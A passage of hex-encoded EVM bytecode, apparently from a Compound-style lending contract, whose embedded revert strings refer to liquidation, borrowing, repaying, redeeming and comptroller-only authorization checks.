91013516612608565b34801561071457600080fd5b506102516004803603606081101561072b57600080fd5b506001600160a01b03813581169160208101359091169060400135612765565b34801561075757600080fd5b506103266129cb565b34801561076c57600080fd5b506103266129da565b34801561078157600080fd5b506102856004803603604081101561079857600080fd5b506001600160a01b0381351690602001356129e9565b3480156107ba57600080fd5b50610285600480360360208110156107d157600080fd5b50356001600160a01b0316612bfd565b3480156107ed57600080fd5b506102fd6004803603606081101561080457600080fd5b506001600160a01b03813581169160208101359091169060400135612da2565b34801561083057600080fd5b506102516004803603606081101561084757600080fd5b506001600160a01b0381358116916020810135821691604090910135166130bd565b34801561087557600080fd5b506108e46004803603602081101561088c57600080fd5b810190602081018135600160201b8111156108a657600080fd5b8201836020820111156108b857600080fd5b803590602001918460208302840111600160201b831117156108d957600080fd5b5090925090506130cb565b60408051602080825283518183015283519192839290830191858101910280838360005b83811015610920578181015183820152602001610908565b505050509050019250505060405180910390f35b6102516004803603604081101561094a57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561097457600080fd5b82018360208201111561098657600080fd5b803590602001918460018302840111600160201b831117156109a757600080fd5b5090925090506131c7565b3480156109be57600080fd5b506102fd61342b565b3480156109d357600080fd5b506102fd61345a565b3480156109e857600080fd5b50610251600480360360208110156109ff57600080fd5b810190602081018135600160201b811115610a1957600080fd5b820183602082011115610a2b57600080fd5b803590602001918460208302840111600160201b83111715610a4c57600080fd5b509092509050613579565b348015610a6357600080fd5b5061025161378a565b348015610a7857600080fd5b506102fd60048036036060811015610a8f57600080fd5b506001600160a01b038135811691602081013590911690604001356137af565b348015610abb57600080fd5b5061028560048036036020811015610ad257600080fd5b50356001600160a01b03166138c2565b348015610aee57600080fd5b506102fd613a47565b6000610b0161342b565b610b43576040805162461bcd60e51b815260206004820152600e60248201526d63616e742d6c697175696461746560901b604482015290519081900360640190fd5b6002546001600160a01b03166000610b5d82878787613a57565b90506000610b6b858361419e565b600154909150600160a01b900460ff16610c9d576000610b89614214565b9050806001600160a01b0316637db00adf3088610ba586614259565b604080516001600160e01b031960e087901b1681526001600160a01b0394851660048201529290931660248301526000908103604483015291516064808301939282900301818387803b158015610bfb57600080fd5b505af1158015610c0f573d6000803e3d6000fd5b50505050806001600160a01b03166393c032413086610c2d8c614259565b604080516001600160e01b031960e087901b1681526001600160a01b0394851660048201529290931660248301526000908103604483015291516064808301939282900301818387803b158015610c8357600080fd5b505af1158015610c97573d6000803e3d6000fd5b50505050505b600093505050505b9392505050565b60045481565b6001546040805162066da360ea1b815290516000926001600160a01b0316916319b68c00916004808301926020929190829003018186803b158015610cf657600080fd5b505afa158015610d0a573d6000803e3d6000fd5b505050506040513d6020811015610d2057600080fd5b50519050610d2d816142a3565b15610d72576040805162461bcd60e51b815260206004820152601060248201526f195b9d195c93585c9ad95d0b59985a5b60821b604482015290519081900360640190fd5b610d7a614321565b50565b6000610d876144c4565b600180546040805163ce8ac03360e01b81526001600160a01b0388811660048301529151600093929092169163ce8ac0339160248082019260209290919082900301818787803b158015610dda57600080fd5b505af1158015610dee573d6000803e3d6000fd5b505050506040513d6020811015610e0457600080fd5b50516001546040805163ce8ac03360e01b81526001600160a01b0389811660048301529151939450600093919092169163ce8ac03391602480830192602092919082900301818787803b158015610e5a57600080fd5b505af1158015610e6e573d6000803e3d6000fd5b505050506040513d6020811015610e8457600080fd5b5051604080516323b872dd60e01b81526001600160a01b0385811660048301528084166024830152604482018990529151929350600092918b16916323b872dd9160648082019260209290919082900301818787803b158015610ee657600080fd5b505af1158015610efa573d6000803e3d6000fd5b505050506040513d6020811015610f1057600080fd5b5051905080610f5a576040805162461bcd60e51b81526020600482015260116024820152701d1c985b9cd9995c919c9bdb4b59985a5b607a1b604482015290519081900360640190fd5b826001600160a01b031663da74dba86040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610f9557600080fd5b505af1158015610fa9573d6000803e3d6000fd5b505050506040513d6020811015610fbf57600080fd5b5051611012576040805162461bcd60e51b815260206004820152601860248201527f696e73756666656369656e742d66756e642d61742d7372630000000000000000604482015290519081900360640190fd5b600061101e8a8861419e565b9050600061102a614214565b9050846001600160a01b031663fc2b8cc36040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561106757600080fd5b505af115801561107b573d6000803e3d6000fd5b505050506040513d602081101561109157600080fd5b505161112057806001600160a01b0316637db00adf868d6110b186614259565b604080516001600160e01b031960e087901b1681526001600160a01b0394851660048201529290931660248301526000908103604483015291516064808301939282900301818387803b15801561110757600080fd5b505af115801561111b573d6000803e3d6000fd5b505050505b836001600160a01b031663fc2b8cc36040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561115b57600080fd5b505af115801561116f573d6000803e3d6000fd5b505050506040513d602081101561118557600080fd5b505161122657806001600160a01b0316637db00adf858d6111a586614259565b6040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b03168152602001836001600160a01b03166001600160a01b031681526020018281526020019350505050600060405180830381600087803b15801561120d57600080fd5b505af1158015611221573d6000803e3d6000fd5b505050505b5090945050505061123681614517565b50949350505050565b600154604080516316f0115b60e01b815290516000926001600160a01b0316916316f0115b916004808301926020929190829003018186803b15801561128457600080fd5b505afa158015611298573d6000803e3d6000fd5b505050506040513d60208110156112ae57600080fd5b505190505b90565b60006112c06144c4565b604080516305eff7ef60e21b815230600482015290516000916001600160a01b038516916317bfdfbc9160248082019260209290919082900301818787803b15801561130b57600080fd5b505af115801561131f573d6000803e3d6000fd5b505050506040513d602081101561133557600080fd5b50516002549091506001600160a01b03848116911614156113645761135c81600354614532565b915050611367565b90505b919050565b611374614568565b60015460408051635fe3b56760e01b815290516000926001600160a01b031691635fe3b567916004808301926020929190829003018186803b1580156113b957600080fd5b505afa1580156113cd573d6000803e3d6000fd5b505050506040513d60208110156113e357600080fd5b5051604080516374d7814960e11b815230600482015290519192506001600160a01b0383169163e9af02929160248082019260009290919082900301818387803b15801561143057600080fd5b505af1158015611444573d6000803e3d6000fd5b50505050610d7a6122f7565b600080600061145d615b1a565b61147d604051806020016040528088815250670de0b6b3a764000061463e565b9092509050600082600381111561149057fe5b146114e2576040805162461bcd60e51b815260206004820152601d60248201527f756e6465726c79696e67416d74546f4c69715363616c61722d6661696c000000604482015290519081900360640190fd5b805160006114f082886146a8565b90506114fe600354826146db565b955061150a88876146ff565b9450505050509250929050565b61151f614568565b60408051848152602080860282010190915260609084801561154b578160200160208202803883390190505b50905060005b848110156116075785858281811061156557fe5b905060200201356001600160a01b03166001600160a01b03166369e527da6040518163ffffffff1660e01b815260040160206040518083038186803b1580156115ad57600080fd5b505afa1580156115c1573d6000803e3d6000fd5b505050506040513d60208110156115d757600080fd5b505182518390839081106115e757fe5b6001600160a01b0390921660209283029190910190910152600101611551565b5060408051600180825281830190925260609160208083019080388339019050509050308160008151811061163857fe5b6001600160a01b0392831660209182029290920181019190915260015460408051635fe3b56760e01b815290516000949290921692635fe3b56792600480840193829003018186803b15801561168d57600080fd5b505afa1580156116a1573d6000803e3d6000fd5b505050506040513d60208110156116b757600080fd5b50516040516334086fd360e11b8152861515604482015285151560648201526080600482019081528451608483015284519293506001600160a01b03841692636810dfa692869288928b928b92918291602481019160a4909101906020898101910280838360005b8381101561173757818101518382015260200161171f565b50505050905001838103825286818151815260200191508051906020019060200280838360005b8381101561177657818101518382015260200161175e565b505050509050019650505050505050600060405180830381600087803b15801561179f57600080fd5b505af11580156117b3573d6000803e3d6000fd5b505050506117bf6122f7565b50505050505050565b6005546001600160a01b031681565b600080600080600160009054906101000a90046001600160a01b03166001600160a01b0316635fe3b5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561182b57600080fd5b505afa15801561183f573d6000803e3d6000fd5b505050506040513d602081101561185557600080fd5b5051604080516307dc0d1d60e41b815290519192506118cf916001600160a01b03841691637dc0d1d0916004808301926020929190829003018186803b15801561189e57600080fd5b505afa1580156118b2573d6000803e3d6000fd5b505050506040513d60208110156118c857600080fd5b5051614739565b93509350935050909192565b60006118e56144c4565b60016000856001600160a01b031663852a12e3866040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561192f57600080fd5b505af1158015611943573d6000803e3d6000fd5b505050506040513d602081101561195957600080fd5b5051905080156119a8576040805162461bcd60e51b81526020600482015260156024820152741c995919595b555b99195c9b1e5a5b99cb59985a5b605a1b604482015290519081900360640190fd5b600154600160a01b900460ff16611a49576119c1614214565b6001600160a01b0316637db00adf30886119da89614259565b604080516001600160e01b031960e087901b1681526001600160a01b0394851660048201529290931660248301526000908103604483015291516064808301939282900301818387803b158015611a3057600080fd5b505af1158015611a44573d6000803e3d6000fd5b505050505b611a52866149ab565b15611a93576040516001600160a01b0385169086156108fc029087906000818181858888f19350505050158015611a8d573d6000803e3d6000fd5b50611b18565b6000866001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b158015611ace57600080fd5b505afa158015611ae2573d6000803e3d6000fd5b505050506040513d6020811015611af857600080fd5b50519050611b166001600160a01b038216868863ffffffff614a3016565b505b9150611b2381614517565b509392505050565b611b33614a82565b611b3b614ae6565b6000611b45611ff6565b90508015611baf576002546001600160a01b03848116911614611baf576040805162461bcd60e51b815260206004820152601b60248201527f616c72656164792d746f707065642d6f746865722d63546f6b656e0000000000604482015290519081900360640190fd5b6000836001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b158015611bea57600080fd5b505afa158015611bfe573d6000803e3d6000fd5b505050506040513d6020811015611c1457600080fd5b50519050611c3b611c2361123f565b6001600160a01b03831690308663ffffffff614b3316565b611c556001600160a01b038216858563ffffffff614b8d16565b836001600160a01b0316630e752702846040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b158015611c9b57600080fd5b505af1158015611caf573d6000803e3d6000fd5b505050506040513d6020811015611cc557600080fd5b505115611d0c576040805162461bcd60e51b815260206004820152601060248201526f14995c185e509bdc9c9bddcb59985a5b60821b604482015290519081900360640190fd5b81611d2d57600280546001600160a01b0319166001600160a01b0386161790555b611d3960035484614532565b60035550505050565b6004546000908190611d52612600565b611d6257611d5f85612bfd565b90505b611d6c8482611450565b90969095509350505050565b6000611d82614568565b6000826001600160a01b03166369e527da6040518163ffffffff1660e01b815260040160206040518083038186803b158015611dbd57600080fd5b505afa158015611dd1573d6000803e3d6000fd5b505050506040513d6020811015611de757600080fd5b50519050610ca5816142a3565b6000611dff836142a3565b15611e44576040805162461bcd60e51b815260206004820152601060248201526f195b9d195c93585c9ad95d0b59985a5b60821b604482015290519081900360640190fd5b6000611e508484614ca0565b9150505b92915050565b611e626144c4565b600080600160009054906101000a90046001600160a01b03166001600160a01b03166319b68c006040518163ffffffff1660e01b815260040160206040518083038186803b158015611eb357600080fd5b505afa158015611ec7573d6000803e3d6000fd5b505050506040513d6020811015611edd57600080fd5b505190506000611eed8234614ea1565b90508015611f4a57816001600160a01b0316634e4d9fea826040518263ffffffff1660e01b81526004016000604051808303818588803b158015611f3057600080fd5b505af1158015611f44573d6000803e3d6000fd5b50505050505b600154600160a01b900460ff16611feb57611f63614214565b6001600160a01b03166393c032413084611f7c34614259565b604080516001600160e01b031960e087901b1681526001600160a01b0394851660048201529290931660248301526000908103604483015291516064808301939282900301818387803b158015611fd257600080fd5b505af1158015611fe6573d6000803e3d6000fd5b505050505b5050610d7a81614517565b600354151590565b60006120086144c4565b60016000856001600160a01b031663db006a75866040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561205257600080fd5b505af1158015612066573d6000803e3d6000fd5b505050506040513d602081101561207c57600080fd5b5051905080156120c1576040805162461bcd60e51b815260206004820152600b60248201526a1c995919595b4b59985a5b60aa1b604482015290519081900360640190fd5b60006120cd878761419e565b600154909150600160a01b900460ff16612171576120e9614214565b6001600160a01b0316637db00adf308961210285614259565b604080516001600160e01b031960e087901b1681526001600160a01b0394851660048201529290931660248301526000908103604483015291516064808301939282900301818387803b15801561215857600080fd5b505af115801561216c573d6000803e3d6000fd5b505050505b61217a876149ab565b156121ba576040516001600160a01b038616904780156108fc02916000818181858888f193505050501580156121b4573d6000803e3d6000fd5b50611b16565b6000876001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b1580156121f557600080fd5b505afa158015612209573d6000803e3d6000fd5b505050506040513d602081101561221f57600080fd5b5051604080516370a0823160e01b815230600482015290519192506000916001600160a01b038416916370a08231916024808301926020929190829003018186803b15801561226d57600080fd5b505afa158015612281573d6000803e3d6000fd5b505050506040513d602081101561229757600080fd5b505190506122b56001600160a01b038316888363ffffffff614a3016565b5050509150611b2381614517565b60035481565b60008060006122d784614739565b9250925092505b9193909250565b6122ed614a82565b610d7a8182614f07565b60015460408051630a57ebcf60e11b815230600482015290516000926001600160a01b0316916314afd79e916024808301926020929190829003018186803b15801561234257600080fd5b505afa158015612356573d6000803e3d6000fd5b505050506040513d602081101561236c57600080fd5b505160015460408051630213a15f60e31b815290519293506000926001600160a01b039092169163109d0af891600480820192602092909190829003018186803b1580156123b957600080fd5b505afa1580156123cd573d6000803e3d6000fd5b505050506040513d60208110156123e357600080fd5b5051604080516370a0823160e01b815230600482015290519192506124789184916001600160a01b038516916370a0823191602480820192602092909190829003018186803b15801561243557600080fd5b505afa158015612449573d6000803e3d6000fd5b505050506040513d602081101561245f57600080fd5b50516001600160a01b038416919063ffffffff614a3016565b5050565b612484614a82565b61248c614ae6565b6001546040805162066da360ea1b815290516000926001600160a01b0316916319b68c00916004808301926020929190829003018186803b1580156124d057600080fd5b505afa1580156124e4573d6000803e3d6000fd5b505050506040513d60208110156124fa57600080fd5b505190506000612508611ff6565b90508015612572576002546001600160a01b03838116911614612572576040805162461bcd60e51b815260206004820152601b60248201527f616c72656164792d746f707065642d6f746865722d63546f6b656e0000000000604482015290519081900360640190fd5b6000829050806001600160a01b0316634e4d9fea346040518263ffffffff1660e01b81526004016000604051808303818588803b1580156125b257600080fd5b505af11580156125c6573d6000803e3d6000fd5b5050505050816125ec57600280546001600160a01b0319166001600160a01b0383161790555b6125f860035434614532565b600355505050565b600454151590565b60006126126144c4565b60016000856001600160a01b031663c5ebeaec866040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561265c57600080fd5b505af1158015612670573d6000803e3d6000fd5b505050506040513d602081101561268657600080fd5b5051905080156126cb576040805162461bcd60e51b815260206004820152600b60248201526a189bdc9c9bddcb59985a5b60aa1b604482015290519081900360640190fd5b600154600160a01b900460ff16611a49576126e4614214565b6001600160a01b03166393c0324130886126fd89614259565b6040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b03168152602001836001600160a01b03166001600160a01b031681526020018281526020019350505050600060405180830381600087803b158015611a3057600080fd5b60015460408051630a57ebcf60e11b81526001600160a01b0385811660048301529151600093849316916314afd79e916024808301926020929190829003018186803b1580156127b457600080fd5b505afa1580156127c8573d6000803e3d6000fd5b505050506040513d60208110156127de57600080fd5b50516001600160a01b03161461282f576040805162461bcd60e51b8152602060048201526011602482015270333937b696b4b996b0b716b0bb30ba30b960791b604482015290519081900360640190fd5b604080516323b872dd60e01b81526001600160a01b038581166004830152306024830152604482018590529151918616916323b872dd916064808201926020929091908290030181600087803b15801561288857600080fd5b505af115801561289c573d6000803e3d6000fd5b505050506040513d60208110156128b257600080fd5b50516128f9576040805162461bcd60e51b81526020600482015260116024820152701d1c985b9cd9995c919c9bdb4b59985a5b607a1b604482015290519081900360640190fd5b6000612905858461419e565b600154909150600160a01b900460ff166129bb57612921614214565b6001600160a01b0316637db00adf308761293a85614259565b6040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b03168152602001836001600160a01b03166001600160a01b031681526020018281526020019350505050600060405180830381600087803b1580156129a257600080fd5b505af11580156129b6573d6000803e3d6000fd5b505050505b506129c581614517565b50505050565b6002546001600160a01b031681565b6001546001600160a01b031681565b60006129f36144c4565b600080612a008585614ea1565b905060008115612bea576000866001600160a01b0316636f307dc36040518163ffffffff1660e01b815260040160206040518083038186803b158015612a4557600080fd5b505afa158015612a59573d6000803e3d6000fd5b505050506040513d6020811015612a6f57600080fd5b50519050612a8d6001600160a01b038216888563ffffffff614b8d16565b866001600160a01b0316630e752702846040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b158015612ad357600080fd5b505af1158015612ae7573d6000803e3d6000fd5b505050506040513d6020811015612afd57600080fd5b505191508115612b47576040805162461bcd60e51b815260206004820152601060248201526f1c995c185e509bdc9c9bddcb59985a5b60821b604482015290519081900360640190fd5b600154600160a01b900460ff16612be857612b60614214565b6001600160a01b03166393c032413089612b798a614259565b604080516001600160e01b031960e087901b1681526001600160a01b0394851660048201529290931660248301526000908103604483015291516064808301939282900301818387803b158015612bcf57600080fd5b505af1158015612be3573d6000803e3d6000fd5b505050505b505b925050612bf681614517565b5092915050565b6000612c07612600565b15612c155750600454611367565b604080516305eff7ef60e21b815230600482015290516000916001600160a01b038516916317bfdfbc9160248082019260209290919082900301818787803b158015612c6057600080fd5b505af1158015612c74573d6000803e3d6000fd5b505050506040513d6020811015612c8a57600080fd5b5051600354909150600090612ca0908390614532565b90506000600160009054906101000a90046001600160a01b03166001600160a01b0316635fe3b5676040518163ffffffff1660e01b815260040160206040518083038186803b158015612cf257600080fd5b505afa158015612d06573d6000803e3d6000fd5b505050506040513d6020811015612d1c57600080fd5b50516040805163743aaa2360e11b81529051919250612d99916001600160a01b0384169163e87554469160048083019260209291908290030181600087803b158015612d6757600080fd5b505af1158015612d7b573d6000803e3d6000fd5b505050506040513d6020811015612d9157600080fd5b5051836146db565b95945050505050565b6000612dac6144c4565b600180546040805163ce8ac03360e01b81526001600160a01b0387811660048301529151600093929092169163ce8ac0339160248082019260209290919082900301818787803b158015612dff57600080fd5b505af1158015612e13573d6000803e3d6000fd5b505050506040513d6020811015612e2957600080fd5b50516040805163a9059cbb60e01b81526001600160a01b0380841660048301526024820188905291519293506000929189169163a9059cbb9160448082019260209290919082900301818787803b158015612e8357600080fd5b505af1158015612e97573d6000803e3d6000fd5b505050506040513d6020811015612ead57600080fd5b5051905080612ef3576040805162461bcd60e51b815260206004820152600d60248201526c1d1c985b9cd9995c8b59985a5b609a1b604482015290519081900360640190fd5b6000612eff888761419e565b90506000612f0b614214565b600154909150600160a01b900460ff16612fa857806001600160a01b0316637db00adf308b612f3986614259565b604080516001600160e01b031960e087901b1681526001600160a01b0394851660048201529290931660248301526000908103604483015291516064808301939282900301818387803b158015612f8f57600080fd5b505af1158015612fa3573d6000803e3d6000fd5b505050505b836001600160a01b031663fc2b8cc36040518163ffffffff1660e01b8152600401602060405180830381600087803b158015612fe357600080fd5b505af1158015612ff7573d6000803e3d6000fd5b505050506040513d602081101561300d57600080fd5b50516130ae57806001600160a01b0316637db00adf858b61302d86614259565b6040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b03168152602001836001600160a01b03166001600160a01b031681526020018281526020019350505050600060405180830381600087803b15801561309557600080fd5b505af11580156130a9573d6000803e3d6000fd5b505050505b509093505050611b2381614517565b6130c6836151b0565b505050565b60606130d5614568565b604080518381526020808502820101909152606090838015613101578160200160208202803883390190505b50905060005b838110156131bd5784848281811061311b57fe5b905060200201356001600160a01b03166001600160a01b03166369e527da6040518163ffffffff1660e01b815260040160206040518083038186803b15801561316357600080fd5b505afa158015613177573d6000803e3d6000fd5b505050506040513d602081101561318d57600080fd5b5051825183908390811061319d57fe5b6001600160a01b0390921660209283029190910190910152600101613107565b50611e5081615226565b6131cf615476565b600080838360038181106131df57fe5b919091013560f81c90911b90506008848460028181106131fb57fe5b919091013560f81c90911b905060108585600181811061321757fe5b919091013560f81c90911b90506018868660008161323157fe5b60015492013560f81c90921b92909217929092179290921792505060e082901b90600160a01b900460ff16806132ec575060015460408051635ce38fcb60e01b81526001600160a01b0388811660048301526001600160e01b03198516602483015291519190921691635ce38fcb916044808301926020929190829003018186803b1580156132bf57600080fd5b505afa1580156132d3573d6000803e3d6000fd5b505050506040513d60208110156132e957600080fd5b50515b61332a576040805162461bcd60e51b815260206004820152600a6024820152691b9bdd0b5b1a5cdd195960b21b604482015290519081900360640190fd5b60006060866001600160a01b0316348787604051808383808284376040519201945060009350909150508083038185875af1925050503d806000811461338c576040519150601f19603f3d011682016040523d82523d6000602084013e613391565b606091505b50915091508181906134215760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156133e65781810151838201526020016133ce565b50505050905090810190601f1680156134135780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5050505050505050565b600080613436611ff6565b801561344457506000600454115b80613454575061345261345a565b155b91505090565b6000613464611ff6565b613470575060016112b3565b60015460408051635fe3b56760e01b815290516000926001600160a01b031691635fe3b567916004808301926020929190829003018186803b1580156134b557600080fd5b505afa1580156134c9573d6000803e3d6000fd5b505050506040513d60208110156134df57600080fd5b50516002546003546040805163368f515360e21b81526001600160a01b0393841660048201523060248201526044810192909252519293506000929184169163da3d454c9160648082019260209290919082900301818787803b15801561354557600080fd5b505af1158015613559573d6000803e3d6000fd5b505050506040513d602081101561356f57600080fd5b5051159250505090565b613581614568565b6040805182815260208084028201019091526060908280156135ad578160200160208202803883390190505b50905060005b82811015613669578383828181106135c757fe5b905060200201356001600160a01b03166001600160a01b03166369e527da6040518163ffffffff1660e01b815260040160206040518083038186803b15801561360f57600080fd5b505afa158015613623573d6000803e3d6000fd5b505050506040513d602081101561363957600080fd5b5051825183908390811061364957fe5b6001600160a01b03909216602092830291909101909101526001016135b3565b5060015460408051635fe3b56760e01b815290516000926001600160a01b031691635fe3b567916004808301926020929190829003018186803b1580156136af57600080fd5b505afa1580156136c3573d6000803e3d6000fd5b505050506040513d60208110156136d957600080fd5b50516040805162e1ed9760e51b81523060048201818152602483019384528651604484015286519495506001600160a01b03861694631c3db2e09492938893916064909101906020858101910280838360005b8381101561374457818101518382015260200161372c565b505050509050019350505050600060405180830381600087803b15801561376a57600080fd5b505af115801561377e573d6000803e3d6000fd5b505050506129c56122f7565b613792615476565b6001805460ff60a01b1916600160a01b1790556137ad61553c565b565b60006137b96144c4565b6001546040805163ce8ac03360e01b81526001600160a01b0386811660048301529151600093929092169163ce8ac0339160248082019260209290919082900301818787803b15801561380b57600080fd5b505af115801561381f573d6000803e3d6000fd5b505050506040513d602081101561383557600080fd5b50516040805163095ea7b360e01b81526001600160a01b0380841660048301526024820187905291519293509087169163095ea7b3916044808201926020929091908290030181600087803b15801561388d57600080fd5b505af11580156138a1573d6000803e3d6000fd5b505050506040513d60208110156138b757600080fd5b505195945050505050565b60006138cc614568565b60016000836001600160a01b03166369e527da6040518163ffffffff1660e01b815260040160206040518083038186803b15801561390957600080fd5b505afa15801561391d573d6000803e3d6000fd5b505050506040513d602081101561393357600080fd5b505160015460408051635fe3b56760e01b815290519293506000926001600160a01b0390921691635fe3b56791600480820192602092909190829003018186803b15801561398057600080fd5b505afa158015613994573d6000803e3d6000fd5b505050506040513d60208110156139aa57600080fd5b505160408051630ede4edd60e41b81526001600160a01b03858116600483015291519293506000929184169163ede4edd09160248082019260209290919082900301818787803b1580156139fd57600080fd5b505af1158015613a11573d6000803e3d6000fd5b505050506040513d6020811015613a2757600080fd5b50519050613a348361558b565b93505050613a4181614517565b50919050565b600154600160a01b900460ff1681565b6000613a61614a82565b6000613a6b61123f565b90506000613a77612600565b9050613a81611ff6565b80613a895750805b613ada576040805162461bcd60e51b815260206004820152601c60248201527f63616e742d706572666f726d2d6c6971756964617465426f72726f7700000000604482015290519081900360640190fd5b8015613b47576005546001600160a01b03888116911614613b42576040805162461bcd60e51b815260206004820152601d60248201527f6465627443546f6b656e213d6c69717569646174696f6e43546f6b656e000000604482015290519081900360640190fd5b613bc5565b6002546001600160a01b03888116911614613ba9576040805162461bcd60e51b815260206004820152601a60248201527f6465627443546f6b656e213d746f70706564557043546f6b656e000000000000604482015290519081900360640190fd5b600580546001600160a01b0319166001600160a01b0389161790555b80613bd757613bd387612bfd565b6004555b600454861115613c2e576040805162461bcd60e51b815260206004820152601960248201527f616d6f756e74546f4c69717569646174652d746f6f2d62696700000000000000604482015290519081900360640190fd5b84861015613c6d5760405162461bcd60e51b815260040180806020018281038252602d815260200180615b72602d913960400191505060405180910390fd5b6000613c7987876146ff565b90508015613f18576000613c8c896149ab565b90508015613db557813414613ce0576040805162461bcd60e51b81526020600482015260156024820152741a5b9cdd59999958da595b9d0b5155120b5cd95b9d605a1b604482015290519081900360640190fd5b6001546040805162066da360ea1b815290516000926001600160a01b0316916319b68c00916004808301926020929190829003018186803b158015613d2457600080fd5b505afa158015613d38573d6000803e3d6000fd5b505050506040513d6020811015613d4e57600080fd5b505160408051632726cff560e11b815290519192506001600160a01b03831691634e4d9fea918691600480830192600092919082900301818588803b158015613d9657600080fd5b505af1158015613daa573d6000803e3d6000fd5b505050505050613f16565b60025460408051636f307dc360e01b815290516000926001600160a01b031691636f307dc3916004808301926020929190829003018186803b158015613dfa57600080fd5b505afa158015613e0e573d6000803e3d6000fd5b505050506040513d6020811015613e2457600080fd5b50519050613e436001600160a01b03821686308663ffffffff614b3316565b613e5d6001600160a01b0382168b8563ffffffff614b8d16565b896001600160a01b0316630e752702846040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b158015613ea357600080fd5b505af1158015613eb7573d6000803e3d6000fd5b505050506040513d6020811015613ecd57600080fd5b505115613f14576040805162461bcd60e51b815260206004820152601060248201526f1c995c185e509bdc9c9bddcb59985a5b60821b604482015290519081900360640190fd5b505b505b856003541015613f595760405162461bcd60e51b8152600401808060200182810382526023815260200180615b2e6023913960400191505060405180910390fd5b613f65600354876146ff565b600355600454613f7590886146ff565b600490815560015460408051635fe3b56760e01b815290516000936001600160a01b0390931692635fe3b56792808201926020929091829003018186803b158015613fbf57600080fd5b505afa158015613fd3573d6000803e3d6000fd5b505050506040513d6020811015613fe957600080fd5b50516040805163c488847b60e01b81526001600160a01b038c811660048301528981166024830152604482018c9052825193945060009384939186169263c488847b926064808301939192829003018186803b15801561404857600080fd5b505afa15801561405c573d6000803e3d6000fd5b505050506040513d604081101561407257600080fd5b508051602090910151909250905081156140bd5760405162461bcd60e51b8152600401808060200182810382526021815260200180615b516021913960400191505060405180910390fd5b876001600160a01b031663a9059cbb87836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561411d57600080fd5b505af1158015614131573d6000803e3d6000fd5b505050506040513d602081101561414757600080fd5b5051614190576040805162461bcd60e51b815260206004820152601360248201527218dbdb1b10d51bdad95b8b5e199c8b59985a5b606a1b604482015290519081900360640190fd5b9a9950505050505050505050565b600080836001600160a01b031663bd6d894d6040518163ffffffff1660e01b8152600401602060405180830381600087803b1580156141dc57600080fd5b505af11580156141f0573d6000803e3d6000fd5b505050506040513d602081101561420657600080fd5b50519050611e5083826146db565b6001546040805163efedc66960e01b815290516000926001600160a01b03169163efedc669916004808301926020929190829003018186803b15801561128457600080fd5b60008181811215611364576040805162461bcd60e51b815260206004820152600f60248201526e18dbdb9d995c9cda5bdb8b59985a5b608a1b604482015290519081900360640190fd5b60408051600180825281830190925260009182916060916020808301908038833901905050905083816000815181106142d857fe5b60200260200101906001600160a01b031690816001600160a01b03168152505061430181615226565b60008151811061430d57fe5b6020026020010151925050613a4181614517565b6143296144c4565b600080600160009054906101000a90046001600160a01b03166001600160a01b03166319b68c006040518163ffffffff1660e01b815260040160206040518083038186803b15801561437a57600080fd5b505afa15801561438e573d6000803e3d6000fd5b505050506040513d60208110156143a457600080fd5b505160408051631249c58b60e01b815290519192506001600160a01b03831691631249c58b913491600480830192600092919082900301818588803b1580156143ec57600080fd5b505af1158015614400573d6000803e3d6000fd5b5050600154600160a01b900460ff1692506144ba91505057614420614214565b6001600160a01b0316637db00adf308361443934614259565b6040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b03168152602001836001600160a01b03166001600160a01b031681526020018281526020019350505050600060405180830381600087803b1580156144a157600080fd5b505af11580156144b5573d6000803e3d6000fd5b505050505b50610d7a81614517565b6144cd3361560c565b6137ad576040805162461bcd60e51b81526020600482015260166024820152751bdb9b1e4b50951bdad95b8b585d5d1a1bdc9a5e995960521b604482015290519081900360640190fd5b801561452a5761452561553c565b610d7a565b610d7a615709565b6000610ca58383604051806040016040528060118152602001706164646974696f6e206f766572666c6f7760781b81525061571e565b600160009054906101000a90046001600160a01b03166001600160a01b031663eaeec94b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156145b657600080fd5b505afa1580156145ca573d6000803e3d6000fd5b505050506040513d60208110156145e057600080fd5b50516001600160a01b031633146137ad576040805162461bcd60e51b815260206004820152601c60248201527f6f6e6c792d42436f6d7074726f6c6c65722d617574686f72697a656400000000604482015290519081900360640190fd5b6000614648615b1a565b600080614659866000015186615773565b9092509050600082600381111561466c57fe5b1461468b575060408051602081019091526000815290925090506146a1565b6040805160208101909152908152600093509150505b9250929050565b6000610ca583836040518060400160405280600e81526020016d646976696465206279207a65726f60901b8152506157b2565b6000670de0b6b3a76400006146f08484615814565b816146f757fe5b049392505050565b6000610ca58383604051806040016040528060158152602001747375627472616374696f6e20756e646572666c6f7760581b815250615856565b600080600080600160009054906101000a90046001600160a01b03166001600160a01b0316635fe3b5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561478d57600080fd5b505afa1580156147a1573d6000803e3d6000fd5b505050506040513d60208110156147b757600080fd5b505160408051635ec88c7960e01b815230600482015290519192506001600160a01b03831691635ec88c7991602480820192606092909190829003018186803b15801561480357600080fd5b505afa158015614817573d6000803e3d6000fd5b505050506040513d606081101561482d57600080fd5b5080516020820151604090920151909550909350915061484b611ff6565b61485557506122de565b83156148a8576040805162461bcd60e51b815260206004820152601860248201527f4572722d696e2d6163636f756e742d6c69717569646974790000000000000000604482015290519081900360640190fd5b6002546040805163fc57d4df